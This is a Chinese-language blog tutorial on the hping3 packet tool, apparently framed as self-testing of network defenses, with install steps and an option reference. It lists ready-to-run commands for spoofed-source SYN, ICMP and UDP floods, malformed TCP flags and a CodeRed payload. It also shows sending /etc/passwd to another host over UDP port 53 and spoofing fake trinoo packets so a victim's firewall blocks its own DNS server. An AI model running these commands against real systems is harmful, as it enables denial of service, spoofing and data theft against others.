今天來為大家介紹一個駭客級的測試工具「hping」。

聽到「駭客」不知道各位有沒有很高興,其實在資訊領域很利害的電腦高手我們稱為「駭客, Hacker」,但這些高手中有些人走上歧途,把這些可能是高深也可能不是高深的技術,使用在不正當的用途上,我們稱之「怪客, Cracker」。

就像正邪大戰一般,我們當然希望邪不能勝正,但在邪惡的一方發動攻擊之前,正義的一方是否能先做好充足的防禦,是重要的關鍵。那我要如何知道是否有良好的防禦工程呢?請東邪、西毒先來攻打一番嗎?當然不是!通常我們會先自我測試一番,如果連自我測試通無法通過,那還談什麼防禦,你說是不是。

如果你有一點網路基礎,那你一定使用過Windows系統下的ping指令,例如「開始 --> 執行 --> 鍵入:cmd --> 會跳出一個黑色命令視窗 --> 輸入:ping 168.95.1.1」這是一個在測試網路狀態的指令。或是當你電腦的網路不通時,是否有人就會說,你有沒有ping ping看?而Windows內建的ping真的是太陽春了,只合適簡單測試網路是否正常連線。

但我們需要的是一個能「模擬攻擊」的測試工具,而hping正是一個在Unix/Linux下的測試用的攻擊工具(也有Windows版本,我們下一部份會談),在開始介紹前,記得一件事,網路上的每一個工具,是毒也是藥,就如我介紹這個hping工具,你可以拿它來當駭客,也可以拿它來當怪客。

hping安裝

原始網站:http://www.hping.org/
目前hping有hping2、hping3及hping.win32三個版本,Linux我們介紹hping3,hping.win32我們下一部份介紹。

hping3下載:http://www.hping.org/hping3-20051105.tar.gz
hping.win32下載:http://www.hping.org/hping2.win32.tar.gz
實作Linux系統:CentOS 5

# tar zxvf hping3-20051105.tar.gz
# cd hping3-20051105
# cat INSTALL (請詳細觀看)
# ./configure
# make
# make install

ubuntu 安裝

apt-get install -y hping3

下面是一些常用的方法

hping3 www.abc.net.tw -1 -i u100000 -a 100.100.100.100

hping1

每秒送10個(-i u10000)ICMP(-1)封包到www.abc.net.tw 偽造來源IP(-a)為100.100.100.100

hping2

註:-1為數字非英文

hping3 www.abc.net.tw -1 -i u1000000 -a 100.100.100.100 -s 22222 -p 44444

每秒送1個(-i u1000000)TCP(default)封包到www.abc.net.tw的port 44444,偽造來源IP(-a)100.100.100.100使用的port為22222

 

測試1: SYN Flooding(每秒10個封包)
hping 目標主機IP –i u100000 –S –a 偽造來源IP

測試2 :偽造IP的ICMP封包(每秒10個封包)
hping 目標主機IP –i u100000 –1 –a 偽造來源IP
註:-1為數字非英文

測試3:不正常TCP Flag組合封包(每秒10個封包)
(a)SYN+FIN
hping 3目標主機IP –i u100000 –S –F –a 偽造來源IP
(b)X’mas
hping 3目標主機IP –i u100000 –F –S –R –P –A –U –a 偽造來源IP

測試4:偽造IP的UDP封包
hping3目標主機IP –i u100000 –2 –a 偽造來源IP

測試5:偽造IP內含CodeRed封包
hping3 目標主機IP –i u100000 –d [封包datasize] –E [filename] –a [偽造來源IP]

如果參數使用方面有任何問題,請參考man hping或是線上hping man page。最後,希望「你」的系統可以平安通過「你」的測試。

HPING參數,可以用HPING -H來看,我就不多說了.下面介紹各參數的用法

-H --HELP 顯示説明
-v -VERSION 版本資訊
-c --count count 發送資料包的次數 關於countreached_timeout 可以在hping2.h裡編輯
-i --interval 包發送間隔時間(單位是毫秒) 缺省時間是1秒,此功能在增加傳輸率上很重要,在idle/spoofing掃描時此功能也會被用到,你可以參考hping-howto獲得更多資訊 -fast 每秒發10個資料包,(似乎可用作dos攻擊,沒測試過,不忍拿同學開刀)
-n -nmeric 數位輸出,象徵性輸出主機位址(用處不大)
-q -quiet 退出.什麼都不會輸出,除了開始結訴時間
-I --interface interface name 無非就是eth0之類的參數,自己的機器自己看吧,別告訴我你連這都不知道,一般我不指定這參數,hping一樣工作正常.
-v --verbose 顯示很多資訊,TCP回應一般如下:
len=46 ip=192.168.1.1 flags=RADF seq=0 ttl=255 id=0 win=0 rtt=0.4ms tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0
-D --debug 進入debug模式 當你遇到麻煩時,比如用HPING遇到一些不合你習慣的時候,你可以用此模式修改HPING,(INTERFACE DETECTION,DATA LINK LAYER ACCESS,INTERFACE SETTINGS,.......)
-z --BIND 快速鍵的使用 (按自己個人喜好設定吧)
-Z --unbind 消除快速鍵

以下是協議選擇項

-O --rawip RAWIP模式,在此模式下,HPING會發送帶資料的IP頭,....原文如下:RAW IP mode, in this mode hping2 will send IP header with data appended with --signature and/or
--file, see also --ipproto that allows you to set the ip protocol field.(具體,不好翻譯)
-1 --icmp ICMP模式,此模式下,HPING會發送IGMP應答報文,你可以用--ICMPTYPE --ICMPCODE選項發送其他類型/模式的ICMP報文
-2 --udp UDP 模式,缺省下,HPING會發送UDP報文到主機的0埠,你可以用--baseport --destport --keep選項指定其模式
-9 --listen signatuer hping的listen模式,用此模式,HPING會接收指定的資料,比如:命令如下:hping
--listen TEST 接收資料如下時:234-5488-TESThello_word,會顯示hello_word以下是有關IP的選項
-a --spoof hostname 偽造IP攻擊,防火牆就不會記錄你的真實IP了,當然,回應的包你也接收不到了,比如,你是192.168.3.1, 你裝成192.168.3.2發包給192.168.3.3, 192.168.3.3的防火牆會記錄192.168.3.2發包記錄,但是192.168.3.3的回應也會發回192.168.3.2,而你卻接收不 到192.168.3.3的回答包的,具體可以參見HPING2-HOWTO
-t --ttl time to live 本選項可以指定發出包的TTL值,我用了一下,實在看不出什麼區別,這選項一般和--traceroute 或
--bind一齊用,比如:hping 1.1.1.1 -t 1 --traceroute,(這選項數值大了,和PING沒區別,數值小了,包似乎到不了主機,只停留在到達路由主機上,你自己慢慢看吧)
-H --ipproto 在RAW IP模式裡選擇IP協定
-W --WINID UNIX ,WINDIWS的id回應不同的 ,這選項可以讓你的ID回應和WINDOWS一樣
-r --rel 更改ID的,可以讓ID曾遞減輸出,詳見HPING-HOWTO
-F --FRAG 更改包的FRAG ,這可以測試對方對於包碎片的處理能力,缺省的‘virtual mtu‘是16位元組,
-x --morefrag 此功能可以發送碎片使主機忙於恢復碎片而造成主機的拒絕服務
-y -dontfrag 發送不可恢復的IP碎片,這可以讓你瞭解更多的MTU PATH DISCOVERY
-G --fragoff fragment offset value set the fragment offset
-m --mtu mtu value 用此項後 ID數值變得很大 50000沒指定此項時3000-20000左右,具體作用,我得再去看看
-o --tos hex tos TOS=TYPE OF SERVICE 知道什麼回事了吧?
-G --rroute 記錄路由,可以看到詳悉的資料等等,最多可以經過9個路由,即使主機遮罩了ICMP報文,路由只涉及IP,所以任可以記錄,在TCP UDP下,也可以記錄路由的

ICMP選項

-C --ICMPTYPE TYPE 指定ICMP類型,缺省是ICMP ECHO REQUEST
-K --ICMPCODE CODE 指定ICMP代號,缺省0
--icmp-ipver 把IP版本也插入IP頭,
--icmp-iphlen 設置IP頭的長度,缺省為5 (32位元組)
--icmp-iplen 設置IP包長度
--icmp-ipid 設置ICMP報文IP頭的ID,缺省是RANDOM
--icmp-ipproto 設置協議的,缺省是TCP
-icmp-cksum 設置校驗和的,沒什麼的
-icmp-ts Alias for --icmptype 13 (to send ICMP timestamp requests)
--icmp-addr Alias for --icmptype 17 (to send ICMP address mask requests)

TCP/UDP 選項

-s --baseport source port hping用源埠猜測回應的包,它從一個基本埠計數,每收一個包,埠也加1,這規則你可以自己定義,如用-K --KEEP可以使埠不會增加,每次的基本埠是\隨意的
-p --deskport [+][+]desk port 設置目標埠,缺省為0,一個加號設置為:每發送一個請求包到達後,埠加1,兩個加號為:每發一個包,埠數加1,
--keep 上面說過了
-w --win 發的大小和windows一樣大,64BYTE
-O --tcpoff Set fake tcp data offset. Normal data offset is tcphdrlen / 4.
-m --tcpseq 設置TCP序列數,
-l --tcpck 設置TCP ack的
-Q --seqnum 搜集序號的,這對於你分析TCP序號有很大作用,例如:

#hping2 win98 --seqnum -p 139 -S -i u1 -I eth0
HPING uaz (eth0 192.168.4.41): S set, 40 headers + 0 data bytes
2361294848 +2361294848
2411626496 +50331648
2545844224 +134217728
2713616384 +167772160
2881388544 +167772160
3049160704 +167772160
3216932864 +167772160
3384705024 +167772160
3552477184 +167772160
3720249344 +167772160
3888021504 +167772160
4055793664 +167772160
4223565824 +167772160

第一排是序號,第2排是應答的序號,所以你可以預見主機的序號(三次握手後,數值基本不再變,定在167772160了)

-b --badcksum 發出一個錯誤校驗和的UDP/TCP包
-tcp-timestamp
-F -fin set FIN tcp flag
-S --syn set SYN tcp flag.
-R --rst set RST tcp flag.
-P --push set PUSH tcp flag.
-A --ack set ACK tcp flag.
-U --urg set URG tcp flag.
-X --xmas set Xmas tcp flag.
-Y --ymas set Ymas tcp flag.

其他:

-d --data data size 設置包大小,注意:指定DATA為40時,輸出如下:

HPING www.yahoo.com (ppp0 204.71.200.67): NO FLAGS are set, 40 headers + 40 data bytes

-E --file filename 指定包內容如FILENAME裡的一樣
-e --sign signature 指定包頭的內容
-j --dump Dump received packets in hex.
-J --print Dump received packets‘s printable characters. -B --safe
-B --safe 確保資料完整發出 例如:要發送A的/etc/passwd給B

[host_a]# hping2 host_b --udp -p 53 -d 100 --sign signature --safe --file /etc/passwd
[host_b]# hping2 host_a --listen signature --safe --icmp

-U --END 如果你用了--FILE項,當EOF到達後,此項可以幫助你自動停止接收無用的資料,
-T --traceroute 路由模式,自己摸索吧,
--tr -keep-ttl 一個和路由有關的項,舉例: hping2 host --traceroute --ttl 5 --tr-keep-ttl.
--tr-stop 當ICMP一旦不可到達時,自動停止發送
--tr-no-rrt 在路由模式裡不顯示RTT資訊,
--tcpexitcode 在某些規則下可探知主機是否存活

另外的:

標準TCP輸出格式: len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms
當用HPING -V測試時,結果如下: len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0
win=0 rtt=0.4 ms tos=0 iplen=40 seq=0 ack=1223672061 sum=e61d urp=0

自己比較其中異同吧

標準UDP輸出 len=46 ip=192.168.1.1 seq=0 ttl=64 id=0 rtt=6.0 ms

ICMP輸出格式: 主機可達時: ICMP Port Unreachable from ip=192.168.1.1 name=nano.marmoc.net
主機不可到達時:TTL 0 during transit from ip=192.168.1.1 name=nano.marmoc.net

 

作者:Yiming Gong
http://security.zz.ha.cn

我們可以來個實際的例子:

step 1:目標主機安裝了blackice,它的 ip address是 ip.add.of.victim

step 2:發起攻擊的一太linux 機器,上面安裝了hping (可以從
www.hping.org下載)
執行如下命令
---
[root@yiminggong]# hping -p 31335 -e PONG -2 ip.add.of.victim -c 5 -d 4 -a ip.add. of.dnsserver
HPING ip.add.of.victim (eth0 ip.add.of.victim): udp mode set, 28 headers
+ 4 data bytes

--- ip.add.of.victim hping statistic ---
5 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms

[root@yiminggong]# hping -p 31335 -e PONG -2 ip.add.of.victim -c 5 -d 4 -a www.google.com
HPING ip.add.of.victim (eth0 ip.add.of.victim): udp mode set, 28 headers
+ 4 data bytes

--- ip.add.of.victim hping statistic ---
5 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms

[root@ yiminggong]# hping -p 31335 -e PONG -2 ip.add.of.victim -c 5 -d 4 -a www.sina.com
HPING ip.add.of.victim (eth0 ip.add.of.victim): udp mode set, 28 headers
+ 4 data bytes

--- ip.add.of.victim hping statistic ---
5 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms
---
上面的三個命令幹了同一件事情,以偽造的ip發送假的trinoo攻擊資料包.

結果:在目標主機上所有偽造的ip位址網路連接被block了,也就是對目標主機ip.add.of.victim而言,它的dns伺服器,google和sina都無法訪問了

 

By tony

自由軟體愛好者~喜歡不斷的思考各種問題,有新的事物都會想去學習嘗試 做實驗並熱衷研究 沒有所謂頂天的技術 只有謙虛及不斷的學習 精進專業,本站主要以分享系統及網路相關知識、資源而建立。 Github http://stnet253.github.io

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *

這個網站採用 Akismet 服務減少垃圾留言。進一步了解 Akismet 如何處理網站訪客的留言資料